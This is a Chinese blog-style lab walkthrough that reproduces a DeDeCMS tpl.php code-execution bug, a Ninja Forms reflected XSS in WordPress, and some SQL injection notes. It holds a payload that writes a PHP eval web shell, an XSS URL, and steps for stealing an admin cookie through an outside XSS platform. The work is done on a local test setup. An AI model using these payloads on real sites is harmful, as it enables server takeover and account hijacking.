漏洞复现

CMS漏洞复现

CMS是"Content Management System"的缩写,意为"内容管理系统"。 网站的开发者为了方便,制作了不同种类的CMS,可以加快网站开发的速度和减少开发的成本。
常见cms
在这里插入图片描述环境搭建
CMS官网CMS
网站源码下载源码
下载好后放到本地WWW目录下,然后开启PHPstudy,在浏览器访问
在这里插入图片描述点击我已阅读并继续。然后是环境检测,保存默认即可
在这里插入图片描述接下来是参数配置,需要设置的只有数据库密码,把自己的密码填上去就行了
在这里插入图片描述然后就把环境搭好了
在这里插入图片描述漏洞复现
由于此漏洞属于后台漏洞,所以我们要先登陆到后台,默认账号和密码都是admin。DeDeCMS默认后台路径是/uploads/dede,正常情况下,一个网站的后台路径肯定会被管理员更改,现在我们只做测试用,所以直接登陆。
tpl.php里面有代码执行漏洞,下面我们来找到tpl.php中存在漏洞的地方,我们再去tpl.php里看一下,发现action的参数有很多,比del,upoladok,edit,upload等等,但只有传入upload的时候页面才会回显正常,而其他的都会显示token异常,所以只能通过action=upload来获取token,查看页面源代码
在这里插入图片描述然后访问http://127.0.0.1/DedeCMS-V5.7-UTF8-SP2/uploads/dede/tpl.php?action=upload
查看源代码,看到一个token值
在这里插入图片描述
所以构造payload如下
域名+/tpl.php?action=savetagfile&token=&filename=abc.lib.php&content=<?php @eval($_POST['xxx'])?>
发现成功写入
在这里插入图片描述然后可以用中国蚁剑来打开自己或别人的文件并操作。具体的可以搜一下教程。

wopress

在这里插入图片描述先在官网上下载一个WordPress,网址:https://cn.wordpress.org/download/releases/
再下载一个对应版本的插件:网址https://downloads.wordpress.org/plugin/ninja-forms.3.3.17.zip
下载完后要把插件解压到/wp-content/plugins目录下,里面存放的都是wp的插件。
然后启动PHPstudy访问WordPress网站
网站:127.0.0.1/wordpress/wp-admin/
需要自己添加一个数据库来存放数据,使用命令CREATE DATABASE 数据库名;
在这里插入图片描述在这里插入图片描述然后访问这个网址http://127.0.0.1/wp-admin/edit.php?post_status=trash&post_type=nf_sub&form_id=1">&nf_form_filter&paged=1
然后会有一个弹窗
在这里插入图片描述然后登录到xss后台(没有的可以注册一个)
http://www.l31.cc/index.php
获取管理员的cookie来进行登陆了。操作如下
创建一个新项目,名称和描述随便写
在这里插入图片描述这时候可能会有一个弹窗里面有一个源代码,然后将以下内容复制下来
在这里插入图片描述
替换掉WordPress网站中的
<script>alert(/POC3/);</script>
然后再查看项目列表
在这里插入图片描述查看xss看到里面的cookie值
在这里插入图片描述XSS获取cookie进行免密登陆。

SQL注入

information_schema
-tables
– table_name tables表中的字段名,存放着其他数据库中的表的名字
-columns
–columns_name tables表中的字段名,存放着其他数据库中的表的名字
– table_schema 指定数据库,
database() mysql下的函数,表示当前数据库名
information_schema.tables
concat(table_name) from information_schema.tables where table_schema=database(); ‘security’

  • 3
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值